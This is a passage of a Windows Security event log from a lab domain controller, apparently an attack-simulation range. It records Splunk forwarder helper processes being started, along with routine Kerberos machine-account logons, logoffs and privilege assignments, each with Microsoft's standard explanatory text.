	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:13:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255464
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcfc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:13:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255466
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfe8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:13:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255465
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11a0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:13:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255468
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x904
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:13:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255467
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x137c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:13:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255469
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12e0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:13:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255472
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x311D89

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:13:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255471
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x311D89
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62618

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:13:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255470
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x311D89

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:14:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255473
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x6cc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:14:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255474
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x88c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:14:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255476
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x6a4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:14:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255475
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x714
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:14:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255478
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3e4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:14:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255477
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeb8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:14:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255479
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe50
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:14:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255482
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x316338

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:14:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255481
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x316338
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62631

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:14:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255480
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x316338

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:15:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255483
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x578
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:15:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255484
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13e4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

